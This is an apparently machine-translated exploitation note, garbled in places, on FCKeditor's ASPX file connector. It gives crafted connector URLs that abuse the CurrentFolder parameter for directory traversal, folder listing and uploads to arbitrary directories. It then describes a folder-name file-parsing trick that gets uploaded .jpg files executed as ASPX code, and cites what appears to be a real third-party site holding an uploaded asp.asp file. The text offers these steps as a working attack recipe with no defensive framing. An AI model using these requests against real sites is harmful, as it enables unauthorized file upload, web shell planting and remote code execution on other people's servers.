FCKeditor News components of some bugs _ Web page Editor

1 CurrentFolder parameters, you can create a new folder in different directories in the Web site, parameter use. /.. /to tamper with parameters and enter different directories
/browser/default/connectors/aspx/connector.aspx? Command=createfolder&type=image&currentfolder=.. /.. /.. %2f&newfoldername=aspx.asp


2 CurrentFolder parameters, depending on the returned XML information, you can view the site's directory, such as "... /.. /.. /"Enter a different directory, so that after the message returned through the XML can see the page without permissions browser/default/connectors/aspx/connector.aspx?" command=getfoldersandfiles&type=image&currentfolder=%2f

3 upload files, by modifying the CurrentFolder parameters, you can upload the file to a different directory
/browser/default/connectors/aspx/connector.aspx? command=fileupload&type=image&currentfolder=%2f

4 at the same time modify the type and CurrentFolder parameters, you can upload any type of file to the site any directory, basically the site is finished.
/browser/default/connectors/aspx/connector.aspx? command=fileupload&type=image&currentfolder=%2f

Http://samsungfriend.local.opentide.com.cn/upload/fckroots/Image/asp.asp/asp.asp



5 by creating the function of the folder, create a folder with an. aspx name, such as: file.aspx, and so on, using file Parsing vulnerability, upload the code in the folder. jpg Or. rar files (the actual file is. aspx, the suffix of the file name), and after uploading, you can use the vulnerability to execute the code. such as: After www.xxx.com/upload/file.aspx/123.jpg input, the code is executed successfully.